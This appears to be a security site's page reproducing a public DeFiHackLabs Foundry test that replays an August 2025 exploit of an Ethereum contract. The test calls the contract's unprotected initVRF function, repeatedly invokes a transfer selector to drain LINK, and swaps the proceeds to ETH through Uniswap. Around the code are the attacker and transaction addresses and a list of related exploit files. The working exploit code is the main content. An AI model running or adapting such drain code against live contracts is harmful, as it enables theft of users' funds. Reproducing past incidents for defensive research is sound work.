Public reproduction file
src/test/2025-08/0xf340_exp.sol
Public reproduction file for dataset entry 0xf340.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 4k USD8// Attacker : https://etherscan.io/address/0xda97a086fc74b20c88bd71e12e365027e9ec2d249// Attack Contract : https://etherscan.io/address/0xd76c5305d0672ce5a2cdd1e8419b900410ea1d3610// Vulnerable Contract : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce6343611// Attack Tx : https://etherscan.io/tx/0x103b4550a1a2bdb73e3cb5ea484880cd8bed7e4842ecdd18ed81bf67ed19e03c13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436#code16// @Analysis17// Post-mortem : https://t.me/defimon_alerts/173318// Twitter Guy : N/A19// Hacking God : https://t.me/defimon_alerts/173321contract Contract0xf340 is BaseTestWithBalanceLog {22 uint256 blocknumToForkFrom = 23232613 - 1;24 IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));25 IERC20 link = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);26 Ivictim victim = Ivictim(0xF340bd3eB3E82994CfF5B8C3493245EDbcE63436);27 IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));29 function setUp() public {30 vm.createSelectFork("mainnet", blocknumToForkFrom);31 fundingToken = address(0);32 }34 function testExploit() public balanceLog {36 //The victim contract (0xf340) lacks access control in its initVRF function allowing37 //an attacker to set an address into storage and calling the function 0x607d60e6 with 38 //a 0 ether value which transfers LINK to that address set by the attacker.39 victim.initVRF(address(this), address(link));41 uint256 slot = 0 ether;42 for (uint256 i = 0; i < 80; i++) {43 (bool success, ) = address(victim).call(44 abi.encodeWithSelector(45 bytes4(0x607d60e6),46 slot47 )48 );49 require(success, "call failed");50 }52 uint256 attackerLinkBal = link.balanceOf(address(this));53 link.approve(address(router), attackerLinkBal);55 address[] memory path = new address[](2);56 path[0] = address(link);57 path[1] = address(weth);58 router.swapExactTokensForETH(attackerLinkBal, 1, path, address(this), block.timestamp + 300);61 }63 fallback() external payable {}64}66 interface Ivictim {67 function initVRF(address arg0, address arg1) external;70 }Analysis
Dataset entry
Public Foundry test for “0xf340” (2025-08-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xda97a086fc74b20c88bd71e12e365027e9ec2d24
- Attack Contract
0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36
- Vulnerable Contract
0xf340bd3eb3e82994cff5b8c3493245edbce63436
- Attack Tx
0x103b4550a1a2bdb73e3cb5ea484880cd8bed7e4842ecdd18ed81bf67ed19e03c
- Post: https://t.me/defimon_alerts/1733
- Explorer: https://etherscan.io/address/0xda97a086fc74b20c88bd71e12e365027e9ec2d24
- Explorer: https://etherscan.io/address/0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36
- Explorer: https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436
- Explorer: https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436#code
File record
- Name
- 0xf340
- Path
- src/test/2025-08/0xf340_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6382fda766f40e1a9a7cd81be6acf2f502de0d61
- Language
- Solidity
- Size
- 72 lines
- Date
- 2025-08-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/0xf340_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6382fda766f40e1a9a7cd81be6acf2f502de0d61, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.